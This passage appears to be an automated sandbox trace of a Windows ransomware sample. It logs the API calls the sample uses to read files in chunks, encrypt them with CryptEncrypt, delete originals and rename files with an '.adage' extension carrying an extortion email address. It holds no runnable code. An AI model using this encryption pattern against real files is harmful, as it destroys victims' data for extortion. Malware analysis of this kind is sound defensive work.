lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x3570058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0064.845] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xab000, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0064.845] ReadFile (in: hFile=0x184, lpBuffer=0x35b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x35b0058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0064.856] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x1c1000, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0064.856] ReadFile (in: hFile=0x184, lpBuffer=0x35f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x35f0058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0064.883] CryptImportKey (in: hProv=0x4c5018, pbData=0x31afe40*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x31afeac | out: phKey=0x31afeac*=0x4d86a0) returned 1 [0064.883] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x31aff48, dwFlags=0x0) returned 1 [0064.883] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3570020*, pdwDataLen=0x31afe60*=0xc0050, dwBufLen=0xc0050 | out: pbData=0x3570020*, pdwDataLen=0x31afe60*=0xc0050) returned 1 [0064.890] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0064.890] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe88 | out: lpNewFilePointer=0x0) returned 1 [0064.890] WriteFile (in: hFile=0x184, lpBuffer=0x3570020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x31afe98, lpOverlapped=0x0 | out: lpBuffer=0x3570020*, lpNumberOfBytesWritten=0x31afe98*=0xc0102, lpOverlapped=0x0) returned 1 [0065.511] SetEndOfFile (hFile=0x184) returned 1 [0065.511] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x1c1000, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0065.511] WriteFile (in: hFile=0x184, lpBuffer=0x363013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363013a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0065.512] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xab000, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0065.512] WriteFile (in: hFile=0x184, lpBuffer=0x363013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363013a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0065.515] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0065.515] WriteFile (in: hFile=0x184, lpBuffer=0x363013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363013a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0065.516] CloseHandle (hObject=0x184) returned 1 [0065.516] SetEvent (hEvent=0x138) returned 1 [0065.517] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x31aff48 | out: pbBuffer=0x31aff48) returned 1 [0065.517] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0067.157] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x31afee0 | out: lpFileSize=0x31afee0*=13909437) returned 1 [0067.157] CloseHandle (hObject=0x194) returned 1 [0067.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.es\\proof.cab")) returned 0x2020 [0067.157] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.es\\proof.cab.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 1 [0067.318] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.es\\proof.cab.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0067.319] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0067.320] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0067.320] ReadFile (in: hFile=0x194, lpBuffer=0x3570058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x3570058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0067.334] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x46bf3f, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0067.334] ReadFile (in: hFile=0x194, lpBuffer=0x35b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x35b0058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0067.340] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xd03dbd, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0067.340] ReadFile (in: hFile=0x194, lpBuffer=0x35f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x35f0058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0067.346] CryptImportKey (in: hProv=0x4c5018, pbData=0x31afe40*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x31afeac | out: phKey=0x31afeac*=0x4d88a0) returned 1 [0067.346] CryptSetKeyParam (hKey=0x4d88a0, dwParam=0x1, pbData=0x31aff48, dwFlags=0x0) returned 1 [0067.346] CryptEncrypt (in: hKey=0x4d88a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3570020*, pdwDataLen=0x31afe60*=0xc0050, dwBufLen=0xc0050 | out: pbData=0x3570020*, pdwDataLen=0x31afe60*=0xc0050) returned 1 [0067.353] CryptDestroyKey (hKey=0x4d88a0) returned 1 [0067.353] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe88 | out: lpNewFilePointer=0x0) returned 1 [0067.353] WriteFile (in: hFile=0x194, lpBuffer=0x3570020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x31afe98, lpOverlapped=0x0 | out: lpBuffer=0x3570020*, lpNumberOfBytesWritten=0x31afe98*=0xc0102, lpOverlapped=0x0) returned 1 [0067.371] SetEndOfFile (hFile=0x194) returned 1 [0067.371] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xd03dbd, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0067.371] WriteFile (in: hFile=0x194, lpBuffer=0x363013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363013a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0067.374] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x46bf3f, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0067.374] WriteFile (in: hFile=0x194, lpBuffer=0x363013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363013a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0067.375] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0067.375] WriteFile (in: hFile=0x194, lpBuffer=0x363013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363013a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0067.376] CloseHandle (hObject=0x194) returned 1 [0067.377] SetEvent (hEvent=0x138) returned 1 [0067.377] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x31aff48 | out: pbBuffer=0x31aff48) returned 1 [0067.377] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0067.380] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x31afee0 | out: lpFileSize=0x31afee0*=13854357) returned 1 [0067.380] CloseHandle (hObject=0x17c) returned 1 [0067.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.fr\\proof.cab")) returned 0x2020 [0067.380] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.fr\\proof.cab.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 1 [0067.386] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.fr\\proof.cab.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0067.386] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0067.386] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0067.386] ReadFile (in: hFile=0x17c, lpBuffer=0x3570058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x3570058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0067.391] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x467787, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0067.391] ReadFile (in: hFile=0x17c, lpBuffer=0x35b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x35b0058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0067.396] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xcf6695, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0067.396] ReadFile (in: hFile=0x17c, lpBuffer=0x35f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x35f0058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0067.688] CryptImportKey (in: hProv=0x4c5018, pbData=0x31afe40*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x31afeac | out: phKey=0x31afeac*=0x4d87a0) returned 1 [0067.688] CryptSetKeyParam (hKey=0x4d87a0, dwParam=0x1, pbData=0x31aff48, dwFlags=0x0) returned 1 [0067.689] CryptEncrypt (in: hKey=0x4d87a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3570020*, pdwDataLen=0x31afe60*=0xc0050, dwBufLen=0xc0050 | out: pbData=0x3570020*, pdwDataLen=0x31afe60*=0xc0050) returned 1 [0067.697] CryptDestroyKey (hKey=0x4d87a0) returned 1 [0067.697] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe88 | out: lpNewFilePointer=0x0) returned 1 [0067.697] WriteFile (in: hFile=0x17c, lpBuffer=0x3570020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x31afe98, lpOverlapped=0x0 | out: lpBuffer=0x3570020*, lpNumberOfBytesWritten=0x31afe98*=0xc0102, lpOverlapped=0x0) returned 1 [0067.713] SetEndOfFile (hFile=0x17c) returned 1 [0067.713] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xcf6695, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0067.713] WriteFile (in: hFile=0x17c, lpBuffer=0x363013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363013a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0067.715] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x467787, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0067.715] WriteFile (in: hFile=0x17c, lpBuffer=0x363013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363013a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0067.716] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0067.716] WriteFile (in: hFile=0x17c, lpBuffer=0x363013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363013a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0067.717] CloseHandle (hObject=0x17c) returned 1 [0067.846] SetEvent (hEvent=0x138) returned 1 [0067.846] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x31aff48 | out: pbBuffer=0x31aff48) returned 1 [0067.846] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 48 os_tid = 0xfe4 [0049.996] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10000) returned 0x2b073e8 [0049.996] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10000) returned 0x2b173f0 [0049.997] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x28) returned 0xab70f8 [0049.997] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x110102) returned 0x3690020 [0049.997] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x50) returned 0xab7128 [0049.997] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f980*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f9e8 | out: phKey=0x344f9e8*=0x4d2630) returned 1 [0049.997] CryptSetKeyParam (hKey=0x4d2630, dwParam=0x1, pbData=0x344f9d0, dwFlags=0x0) returned 1 [0049.997] CryptDecrypt (in: hKey=0x4d2630, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7128, pdwDataLen=0x344f99c | out: pbData=0xab7128, pdwDataLen=0x344f99c) returned 1 [0049.997] CryptDestroyKey (hKey=0x4d2630) returned 1 [0049.997] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75130000 [0049.997] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7515d620 [0049.997] Wow64DisableWow64FsRedirection (in: OldValue=0x344fa38 | out: OldValue=0x344fa38*=0x0) returned 1 [0049.998] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7128 | out: hHeap=0xab0000) returned 1 [0049.998] ResetEvent (hEvent=0x158) returned 1 [0049.998] SetEvent (hEvent=0x15c) returned 1 [0049.998] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0049.998] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-4219442223-4223814209-3835049652-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-4219442223-4223814209-3835049652-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x120 [0049.999] GetFileSizeEx (in: hFile=0x120, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=129) returned 1 [0049.999] CloseHandle (hObject=0x120) returned 1 [0049.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-4219442223-4223814209-3835049652-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-4219442223-4223814209-3835049652-1000\\desktop.ini")) returned 0x26 [0049.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-4219442223-4223814209-3835049652-1000\\desktop.ini.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\$recycle.bin\\s-1-5-21-4219442223-4223814209-3835049652-1000\\desktop.ini.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0049.999] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-4219442223-4223814209-3835049652-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-4219442223-4223814209-3835049652-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x120 [0049.999] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0049.999] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0049.999] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-4219442223-4223814209-3835049652-1000\\desktop.ini.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\$recycle.bin\\s-1-5-21-4219442223-4223814209-3835049652-1000\\desktop.ini.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x134 [0050.000] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d26c0) returned 1 [0050.000] CryptSetKeyParam (hKey=0x4d26c0, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0050.000] ReadFile (in: hFile=0x120, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0x81, lpOverlapped=0x0) returned 1 [0050.013] CryptEncrypt (in: hKey=0x4d26c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x90, dwBufLen=0x90 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x90) returned 1 [0050.013] WriteFile (in: hFile=0x134, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x90, lpOverlapped=0x0) returned 1 [0050.014] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d29a0) returned 1 [0050.014] CryptSetKeyParam (hKey=0x4d29a0, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0050.014] CryptEncrypt (in: hKey=0x4d29a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x40, dwBufLen=0x40 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x40) returned 1 [0050.014] CryptDestroyKey (hKey=0x4d29a0) returned 1 [0050.014] WriteFile (in: hFile=0x134, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xf2, lpOverlapped=0x0) returned 1 [0050.014] CryptDestroyKey (hKey=0x4d26c0) returned 1 [0050.014] CloseHandle (hObject=0x120) returned 1 [0050.015] CloseHandle (hObject=0x134) returned 1 [0050.017] DeleteFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-4219442223-4223814209-3835049652-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-4219442223-4223814209-3835049652-1000\\desktop.ini")) returned 1 [0050.018] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0050.030] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0050.031] ResetEvent (hEvent=0x158) returned 1 [0050.031] SetEvent (hEvent=0x15c) returned 1 [0050.031] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0050.031] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0050.031] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=65536) returned 1 [0050.032] CloseHandle (hObject=0x16c) returned 1 [0050.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0050.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\bootstat.dat.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.032] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0050.032] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0050.032] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0050.032] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\bootstat.dat.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.039] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d39a8) returned 1 [0050.039] CryptSetKeyParam (hKey=0x4d39a8, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0050.039] ReadFile (in: hFile=0x16c, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0x10000, lpOverlapped=0x0) returned 1 [0050.041] CryptEncrypt (in: hKey=0x4d39a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x10010, dwBufLen=0x10010 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x10010) returned 1 [0050.042] WriteFile (in: hFile=0x170, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x10010, lpOverlapped=0x0) returned 1 [0050.044] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d3c88) returned 1 [0050.044] CryptSetKeyParam (hKey=0x4d3c88, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0050.044] CryptEncrypt (in: hKey=0x4d3c88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x40, dwBufLen=0x40 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x40) returned 1 [0050.044] CryptDestroyKey (hKey=0x4d3c88) returned 1 [0050.044] WriteFile (in: hFile=0x170, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, 